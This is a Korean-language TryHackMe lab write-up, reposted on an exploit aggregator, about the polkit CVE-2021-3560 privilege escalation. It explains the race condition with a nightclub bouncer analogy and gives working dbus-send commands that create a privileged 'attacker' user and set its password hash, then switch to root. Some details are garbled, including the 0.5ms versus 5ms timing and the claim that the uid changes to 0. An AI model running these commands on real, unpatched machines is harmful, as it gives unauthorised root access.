Sploitus

Exploit for polkit-CVE-2021-3560_writeup

kitploit ยท 2026-08-25

Exploit Code

MARKDOWN95 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-REALATHARVA15-POLKIT-CVE-2021-3560_WRITEUP
# Try Hack Me - Polkit:CVE-2021-3560

# ์ž‘์„ฑ์ž: Atharva Bordavekar

# ๋‚œ์ด๋„: ์ •๋ณด

# ํฌ์ธํŠธ: 32

# ์ทจ์•ฝ์ : CVE-2021-3560

๋จผ์ € polkit ๋ฒ„์ „์„ ํ™•์ธํ•˜์—ฌ ๋” ๋‚˜์€ ํ†ต์ฐฐ๋ ฅ์„ ์–ป์„ ๊ฒƒ์ž…๋‹ˆ๋‹ค.

root@kitploit:~
    
    
    apt list --installed | grep policykit-1
    

policykit-1/focal,now 0.105-26ubuntu1 amd64 [installed,upgradable to: 0.105-26ubuntu1.1]

์ €๋Š” deepseek๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ policy kit ๊ฐœ๋…์„ ๋” ์ž˜ ์ดํ•ดํ•  ์ˆ˜ ์žˆ๋„๋ก ๊ฐ„๋‹จํ•œ ๋น„์œ ๋ฅผ ๋งŒ๋“ค์—ˆ์Šต๋‹ˆ๋‹ค.

# ๋‚˜์ดํŠธํด๋Ÿฝ ๊ฒฝ๋น„์› ๋น„์œ 

๋‚˜์ดํŠธํด๋Ÿฝ: Polkit ์‹œ์Šคํ…œ

๋‚˜์ดํŠธํด๋Ÿฝ (VIP ๊ตฌ์—ญ): ๊ถŒํ•œ์ด ํ•„์š”ํ•œ ์‹œ์Šคํ…œ ์„œ๋น„์Šค/์ž‘์—… (๋“œ๋ผ์ด๋ธŒ ๋งˆ์šดํŠธ, ์†Œํ”„ํŠธ์›จ์–ด ์„ค์น˜, ๋„คํŠธ์›Œํฌ ๊ด€๋ฆฌ)

๋ฌธ ์•ž์˜ ๊ฒฝ๋น„์›: Polkit ์ž์ฒด, ๋ชจ๋“  ์ง„์ž… ์‹œ๋„ ์ฐจ๋‹จ

์†๋‹˜ ๋ชฉ๋ก / ๋“œ๋ ˆ์Šค ์ฝ”๋“œ: Polkit ์ •์ฑ… ๊ทœ์น™ (/usr/share/polkit-1/actions/ ๋ฐ /etc/polkit-1/rules.d/์— ์ €์žฅ)

VIP ํŒจ์Šค / ํด๋Ÿฝ ๋ฉค๋ฒ„์‹ญ: ํŠน์ • Linux ๊ทธ๋ฃน (์˜ˆ: wheel, sudo, storage, network)์— ์†ํ•˜๋Š” ๊ฒƒ

์‹ ๋ถ„ ํ™•์ธ: Polkit์ด ์‚ฌ์šฉ์ž ์‹ ์›๊ณผ ๊ทธ๋ฃน ๋ฉค๋ฒ„์‹ญ ํ™•์ธ

์†Œ์œ ์ž / ๊ด€๋ฆฌ์ž Root: ์‚ฌ์šฉ์ž (๋ชจ๋“  ๊ฒƒ์— ๋ฌด์ œํ•œ ์ ‘๊ทผ ๊ถŒํ•œ ์žˆ์Œ)

VIP ๊ตฌ์—ญ์— ๋“ค์–ด๊ฐ€๋ ค๋Š” ์ผ๋ฐ˜ ์†๋‹˜: ๊ถŒํ•œ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋ ค๋Š” ์ผ๋ฐ˜ ์‚ฌ์šฉ์ž/ํ”„๋กœ๊ทธ๋žจ

๊ทœ์น™ ์ฑ…์„ ์ฐธ์กฐํ•˜๋Š” ๊ฒฝ๋น„์›: Polkit์ด ํ•ด๋‹น ํŠน์ • ์ž‘์—…์— ๋Œ€ํ•ด ์„ค์ •๋œ ์ •์ฑ… ํ™•์ธ

ํŠน๋ณ„ ํŒ”์ฐŒ/๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์š”๊ตฌํ•˜๋Š” ๊ฒฝ๋น„์›: ์ธ์ฆ ํ”„๋กฌํ”„ํŠธ (๋น„๋ฐ€๋ฒˆํ˜ธ ์š”์ฒญ)

ํ™•์ธ ์—†์ด ํ†ต๊ณผ์‹œํ‚ค๋Š” ๊ฒฝ๋น„์›: ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ์‚ฌ์šฉ์ž/๊ทธ๋ฃน์— ๋Œ€ํ•ด ์ธ์ฆ ์—†์ด ์ž‘์—… ํ—ˆ์šฉ

polkit์€ systemd์˜ sudo์ž…๋‹ˆ๋‹ค

์ด์ œ ๊ต๋ฌ˜ํ•œ ์š”์ฒญ์„ ํ†ตํ•ด ์ด ๋‚˜์ดํŠธํด๋Ÿฝ ๊ฒฝ๋น„์›์„ ์•…์šฉํ•˜์—ฌ dbus ์š”์ฒญ์— ๋Œ€ํ•œ ์ž๊ฒฉ ์ฆ๋ช… ํ™•์ธ์„ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด์ „๊ณผ ๋™์ผํ•œ ๋‚˜์ดํŠธํด๋Ÿฝ ๊ฒฝ๋น„์› ๋น„์œ ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ดํ•ดํ•ด ๋ด…์‹œ๋‹ค.

์ผ๋ฐ˜์ ์ธ ๊ณผ์ •์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค: ๊ฒฝ๋น„์›์ด ์‹ ๋ถ„์ฆ์„ ํ™•์ธํ•˜๊ณ , ๊ทธ ์‚ฌ๋žŒ์ด ํŠน์ • ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•  ์ถฉ๋ถ„ํ•œ ๊ถŒํ•œ์ด ์žˆ์œผ๋ฉด ๊ฒฝ๋น„์›์ด ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ด๋ฅผ ์•…์šฉํ•˜๊ธฐ ์œ„ํ•ด ๊ณต๊ฒฉ์ž๋Š” ํด๋Ÿฝ ๋น„์„œ์—๊ฒŒ "๋‚˜๋ฅผ ๋ชจ๋“  ์ ‘๊ทผ ๊ถŒํ•œ์ด ์žˆ๋Š” ํด๋Ÿฝ ๋งค๋‹ˆ์ €๋กœ ๋งŒ๋“ค์–ด ์ค˜"๋ผ๋Š” ๋”๋ฏธ ์š”์ฒญ์„ ๋ณด๋ƒ…๋‹ˆ๋‹ค. ์ด์ œ ๋ฉ”์‹œ์ง€๊ฐ€ ํด๋Ÿฝ ๋น„์„œ์—๊ฒŒ ๋„๋‹ฌํ•˜๊ธฐ๊นŒ์ง€ 11๋ฐ€๋ฆฌ์ดˆ๊ฐ€ ์žˆ์œผ๋ฉฐ, ๋‹น์—ฐํžˆ ๋น„์„œ๋Š” ์ด ์š”์ฒญ์„ ์ˆ˜๋ฝํ•˜์ง€ ์•Š์„ ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์šฐ๋ฆฌ๋Š” ๋น„์„œ์—๊ฒŒ ๋„๋‹ฌํ•˜๋Š” ์‹œ๊ฐ„์˜ ์ ˆ๋ฐ˜, ์ฆ‰ 0.5๋ฐ€๋ฆฌ์ดˆ ๋‚ด์— ์š”์ฒญ์„ ์ทจ์†Œํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ด์ œ ๊ฒฝ๋น„์›์ด ๋ˆ„๊ฐ€ ๋ณด๋ƒˆ๋Š”์ง€ ํ™•์ธํ•˜๊ธฐ ์ „์— ๊ถŒํ•œ ์ƒ์Šน ์š”์ฒญ์ด ์ ํžŒ ์ชฝ์ง€๋ฅผ ๊ฐ€๋กœ์ฑ•๋‹ˆ๋‹ค. ์šฐ๋ฆฌ๊ฐ€ ๊ฐ€๋กœ์ฑ„๋ฉด ๊ฒฝ๋น„์›์€ ๋ˆ„๊ฐ€ ํ–ˆ๋Š”์ง€ ์•Œ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ์ด์ œ ์ชฝ์ง€์—๋Š” ๊ณ ์œ  ๋ฒˆํ˜ธ๊ฐ€ ์žˆ์œผ๋ฉฐ, ์ด ๋ฒˆํ˜ธ๋Š” ์ด์ œ ๊ณ ์•„๊ฐ€ ๋ฉ๋‹ˆ๋‹ค. ์‹œ์Šคํ…œ์— ๊ณ ์œ  ๋ฒˆํ˜ธ๋Š” ์กด์žฌํ•˜์ง€๋งŒ ์›๋ž˜ ์ชฝ์ง€๋Š” ์‚ฌ๋ผ์กŒ์Šต๋‹ˆ๋‹ค. ์ด ์ƒํ™ฉ์„ ์ฒ˜๋ฆฌํ•˜๋Š” ๊ธฐ๋ณธ ํ”„๋กœํ† ์ฝœ์€ ๋งค๋‰ด์–ผ์— ๋”ฐ๋ผ ๊ฒฝ๋น„์›์ด ๋ฉ”์‹œ์ง€๋ฅผ ํด๋Ÿฝ ์†Œ์œ ์ž๊ฐ€ ๋ณด๋‚ธ ๊ฒƒ์œผ๋กœ ๊ฐ„์ฃผํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ง„ํ–‰๋ฉ๋‹ˆ๋‹ค: ๊ฒฝ๋น„์›์ด "์ด๋ด, ์ด ๋ฉ”์‹œ์ง€ #12345๋ฅผ ๋ˆ„๊ฐ€ ๋ณด๋ƒˆ์–ด?"๋ผ๊ณ  ๋ฌป์Šต๋‹ˆ๋‹ค. dbus-daemon์ด ๊ธฐ๋ก์„ ํ™•์ธํ•˜๊ณ  "#12345์˜ ์ถ”์ ์€ ๋กœ๊ทธ์— ์žˆ์ง€๋งŒ ์‹ค์ œ ๋ฉ”์‹œ์ง€๋ฅผ ์ฐพ์„ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค...ERROR"๋ผ๊ณ  ์•Œ๋ ค์ค๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ dbus-daemon์€ ๋ˆ„๊ฐ€ ๋ณด๋ƒˆ๋Š”์ง€ ๋ชจ๋ฅธ๋‹ค๊ณ  ๋งํ•˜๋Š” ๋Œ€์‹  ์˜ค๋ฅ˜ ์ฝ”๋“œ๋ฅผ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค. ๊ฒฝ๋น„์›์˜ ๊ต์œก ๋งค๋‰ด์–ผ์—๋Š” ๋ฒ„๊ทธ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ต์œก ๋งค๋‰ด์–ผ์—๋Š” ํŠน์ • ๋ฉ”์‹œ์ง€๋ฅผ ๋ˆ„๊ฐ€ ๋ณด๋ƒˆ๋Š”์ง€ ๋ชจ๋ฅด๊ณ  ID ํ™•์ธ ์ค‘ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•˜๋ฉด ํด๋Ÿฝ ์†Œ์œ ์ž(uid 0)๋กœ๋ถ€ํ„ฐ ์˜จ ๊ฒƒ์œผ๋กœ ๊ฐ„์ฃผํ•˜๋ผ๊ณ  ๋‚˜์™€ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ฒฝ๋น„์›์€ ๋น„์„œ์—๊ฒŒ ์ด ๋ฉ”์‹œ์ง€๊ฐ€ ํด๋Ÿฝ ์†Œ์œ ์ž๋กœ๋ถ€ํ„ฐ ์™”๋‹ค๊ณ  ์•Œ๋ฆฌ๋ฉฐ, ๋น„๋ก ํ”„๋ก์‹œ์ผ ๋ฟ์ด์ง€๋งŒ ๋น„์„œ๊ฐ€ ์ด๋ฅผ ์Šน์ธํ•˜๊ณ , ๊ทธ๋Ÿฐ ๋‹ค์Œ ํด๋Ÿฝ ๋น„์„œ๋Š” ๊ณต๊ฒฉ์ž๋ฅผ ์œ„ํ•ด ์ƒˆ๋กœ์šด ํด๋Ÿฝ ๋งค๋‹ˆ์ € ๊ณ„์ •์„ ๋งŒ๋“ญ๋‹ˆ๋‹ค. ์ด์ œ ๊ณต๊ฒฉ์ž๋Š” root ์‚ฌ์šฉ์ž์™€ ๋™๋“ฑํ•œ ๊ถŒํ•œ์„ ๊ฐ–๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

์ด์ œ ์ฆ‰์‹œ attacker๋ผ๋Š” ์‚ฌ์šฉ์ž ์ด๋ฆ„๊ณผ ๋น„๋ฐ€๋ฒˆํ˜ธ Expl01ted๋ฅผ ๊ฐ€์ง„ ์‚ฌ์šฉ์ž๋ฅผ ์–ป์„ ๋ช…๋ น์–ด๋ฅผ ์‚ดํŽด๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค. ๋ช…๋ น์–ด๋ถ€ํ„ฐ ์‹œ์ž‘ํ•ฉ๋‹ˆ๋‹ค:

root@kitploit:~
    
    
    dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1 & sleep 0.005s; kill $!
    

์ด ๋ช…๋ น์–ด๋Š” attacker๋ผ๋Š” ์ด๋ฆ„์˜ ์‚ฌ์šฉ์ž๋ฅผ ๋งŒ๋“ญ๋‹ˆ๋‹ค. ๊ฒฝ๋น„์›(polkit)์ด ๋ฉ”์‹œ์ง€๋ฅผ ์ฝ์ง€ ๋ชปํ•˜๋„๋ก 0.5๋ฐ€๋ฆฌ์ดˆ ํ›„์— ๋ฐ”๋กœ ์ค‘๋‹จํ•ฉ๋‹ˆ๋‹ค. attacker ์‚ฌ์šฉ์ž๋Š” ์•„์ง root ์ž๊ฒฉ ์ฆ๋ช…์ด ์—†์Šต๋‹ˆ๋‹ค.

attacker ์‚ฌ์šฉ์ž์—๊ฒŒ ํ•„์š”ํ•œ root ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•˜๊ธฐ ์œ„ํ•ด ๋‹ค์Œ ๋ช…๋ น์–ด๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค:

root@kitploit:~
    
    
    dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$TRiYeJLXw8mLuoxS$UKtnjBa837v4gk8RsQL2qrxj.0P8c9kteeTnN.B3KeeeiWVIjyH17j6sLzmcSHn5HTZLGaaUDMC4MXCjIupp8.' string:'Ask the pentester' & sleep 0.005s; kill $!
    

root@kitploit:~
    
    
    id attacker
    

์ด์ œ attacker ์‚ฌ์šฉ์ž์˜ uid๊ฐ€ 1000์ธ ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์—ฌ๊ธฐ์„œ ์›๋ž˜ ๊ถŒํ•œ์ด ์—†์—ˆ๋˜ attacker ์‚ฌ์šฉ์ž์˜ ์‚ฌ์šฉ์ž ID๋ฅผ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค. ์ด๋ ‡๊ฒŒ ํ•˜๋ฉด attacker ์‚ฌ์šฉ์ž์˜ id๊ฐ€ 1000์—์„œ 0์œผ๋กœ ๋ณ€๊ฒฝ๋ฉ๋‹ˆ๋‹ค.

root@kitploit:~
    
    
    id attacker
    

์ด์ œ attacker ์‚ฌ์šฉ์ž์˜ uid๊ฐ€ 1000์—์„œ 0์œผ๋กœ ๋ณ€๊ฒฝ๋œ ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ์šฐ๋ฆฌ๊ฐ€ ์ตœ๊ณ  ๊ถŒํ•œ์„ ๊ฐ€์ง„ root ์‚ฌ์šฉ์ž ๊ทธ๋ฃน์— ์†ํ•œ๋‹ค๋Š” ์˜๋ฏธ์ž…๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์„œ ์ง์ ‘ root๋กœ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๊ฑฐ๋‚˜, ํ•„์š”์— ๋”ฐ๋ผ root ์…ธ๋กœ ์ „ํ™˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

root@kitploit:~
    
    
    sudo su```